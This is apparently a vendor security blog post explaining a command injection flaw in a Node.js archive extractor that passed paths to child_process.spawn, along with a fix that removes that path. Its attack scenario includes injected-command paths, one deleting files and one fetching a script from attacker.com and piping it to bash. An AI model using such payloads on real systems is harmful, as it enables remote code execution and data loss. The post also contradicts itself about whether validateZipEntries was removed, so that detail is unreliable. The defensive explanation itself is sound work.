How Command Injection happens in Node.js child_process calls and how to fix it

How Command Injection Happens in Node.js child_process Calls and How to Fix It

The Vulnerability at a Glance

Introduction

The src/cli/commands/extract.js file is responsible for unpacking archive files — a routine but security-sensitive operation in any CLI tool. A flaw in the extractZipWithSystemTool function created a command injection vector: user-supplied archive paths and extraction destinations were passed directly into child_process.spawn without sanitization. Semgrep flagged this pattern at line 257 under rule javascript.lang.security.detect-child-process.detect-child-process, and the fix removes the dangerous execution path entirely.

This matters to any developer building CLI tools or libraries that process user-supplied file paths. The pattern — "try a fast system tool, fall back to a pure-JS library" — is common and convenient, but it silently introduces a shell execution surface that can be exploited if the inputs ever touch attacker-controlled data.

The Vulnerability Explained

What the Code Was Doing

The vulnerable flow worked like this:

1. extractZip(archivePath, extractTo) was called with paths that could originate from user input.
2. It first called validateZipEntries to check for zip-slip (path traversal within entries).
3. It then called extractZipWithSystemTool(archivePath, extractTo).
4. extractZipWithSystemTool retrieved a list of system commands via getZipExtractorCommands(archivePath, extractTo) and called runProcess(command, args) — which internally used spawn from child_process.

// VULNERABLE: Before the fix
import { spawn } from 'child_process';

async function extractZipWithSystemTool(archivePath, extractTo) {
  const commands = getZipExtractorCommands(archivePath, extractTo);
  const errors = [];

  for (const { command, args } of commands) {
    try {
      await runProcess(command, args);  // spawn() called here with user data
      return;
    } catch (error) {
      errors.push(`${command}: ${error.message}`);
    }
  }
}

The critical issue: archivePath and extractTo — values that can be influenced by a downstream consumer of this library — flow into getZipExtractorCommands, which constructs the args array passed to spawn. If those values contain shell metacharacters and spawn is invoked with shell: true (or if exec is used under the hood), the OS shell interprets those characters as commands.

A Concrete Attack Scenario

Imagine a downstream application that accepts a user-supplied filename for extraction:

// Downstream consumer code (the victim application)
const userSuppliedPath = req.body.archivePath; // e.g., from an HTTP request
await extractZip(userSuppliedPath, '/tmp/output');

An attacker submits:

/uploads/archive.zip; rm -rf /tmp/output; echo pwned > /tmp/pwned

Or uses command substitution:

/uploads/$(curl http://attacker.com/shell.sh | bash).zip

If getZipExtractorCommands builds a shell string like:

unzip /uploads/$(curl http://attacker.com/shell.sh | bash).zip -d /tmp/output

...and that string reaches a shell interpreter, the attacker achieves remote code execution on the server.

Why This Library Is a Special Risk

Because this is a Node.js library (not a standalone application), the vulnerability's blast radius extends to every downstream project that imports it. The library's author may never pass unsanitized input themselves, but a consumer application might — and the library's use of child_process makes that consumer vulnerable even if their own code looks clean.

The Fix

The fix is surgical and decisive: remove the entire child_process-based extraction path.

Before: Two-Path Extraction with a Shell Execution Risk

// BEFORE: extract.js imported spawn and used it via extractZipWithSystemTool
import { spawn } from 'child_process';  // ← REMOVED

async function extractZip(archivePath, extractTo) {
  await validateZipEntries(archivePath, extractTo);  // zip-slip check

  try {
    await extractZipWithSystemTool(archivePath, extractTo);  // ← REMOVED
  } catch (systemError) {
    console.warn(`  System ZIP extractor failed: ${systemError.message}`);
    console.warn('  Falling back to yauzl ZIP extractor...');
    await extractZipWithYauzl(archivePath, extractTo);  // ← NOW THE ONLY PATH
  }
}

After: Single-Path Extraction Using Pure JavaScript

// AFTER: child_process import removed entirely
// extractZipWithSystemTool and its supporting functions removed
// extractZipWithYauzl is now the sole extraction mechanism

async function extractZip(archivePath, extractTo) {
  await validateZipEntries(archivePath, extractTo);
  await extractZipWithYauzl(archivePath, extractTo);
}

The diff removes:
- The import { spawn } from 'child_process' statement
- The extractZipWithSystemTool function (~30 lines)
- The validateZipEntries helper that supported the two-path flow
- All associated getZipExtractorCommands / runProcess plumbing

The yauzl-based extractor was already present as the fallback. Promoting it to the only path eliminates the shell execution surface without any loss of functionality for valid inputs. The zip-slip protection (validateZipEntries) is preserved.

Why This Fix Is Better Than Sanitization

One might ask: why not just sanitize archivePath before passing it to spawn? Several reasons:

1. Sanitization is fragile. Shell escaping is notoriously error-prone across platforms and shells. A missed edge case means a bypass.
2. The fallback already works. yauzl handles ZIP extraction in pure JavaScript — no shell, no injection surface, cross-platform by design.
3. Defense in depth. Removing the attack surface entirely is always preferable to defending it. You can't inject into a shell that isn't invoked.

Key Takeaways

• The "try system tool, fall back to JS library" pattern silently introduces a shell execution surface — in extract.js, the extractZipWithSystemTool function was the risk, not the yauzl fallback.
• Removing import { spawn } from 'child_process' entirely is a stronger fix than sanitizing its inputs — you cannot inject into a shell that is never invoked.
• Library authors bear extra responsibility: vulnerabilities in extract.js affect every downstream consumer, not just the library's own use cases.
• yauzl was already doing the safe thing — the pure-JS fallback that was there for reliability was also the security-correct path.
• Zip-slip protection (validateZipEntries) was preserved — the fix tightened the shell injection risk without regressing the path traversal defense.

How Orbis AppSec Detected This

• Source: The archivePath and extractTo arguments to extractZip(), which can originate from user-controlled input in downstream consumer applications.
• Sink: child_process.spawn invoked inside runProcess(), called from extractZipWithSystemTool() at src/cli/commands/extract.js:257, with arguments constructed from the tainted archivePath and extractTo values.
• Missing control: No sanitization or allowlist validation of shell metacharacters in the archive path before it was passed to the system tool command builder.
• CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
• Fix: Removed the child_process-based extractZipWithSystemTool function and its spawn import entirely, leaving yauzl as the sole ZIP extraction mechanism.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The extract.js vulnerability is a textbook example of how a well-intentioned performance optimization — "use a fast native tool, fall back to JS if it fails" — can introduce a critical security flaw. The extractZipWithSystemTool function passed user-influenced paths into child_process.spawn, creating a command injection vector that any downstream consumer of this library could inadvertently expose.

The fix is elegant precisely because it doesn't try to sanitize the dangerous path — it removes it. The yauzl library handles ZIP extraction safely, portably, and without ever touching a shell. When you have a pure-JS alternative that works, use it. The performance difference is rarely worth the security debt.

For Node.js developers: treat every child_process call as a potential injection point. Ask yourself whether a pure-JS library could replace it. If not, use spawn with argument arrays and shell: false, validate inputs strictly, and run static analysis tools like Semgrep in your CI pipeline to catch these patterns before they ship.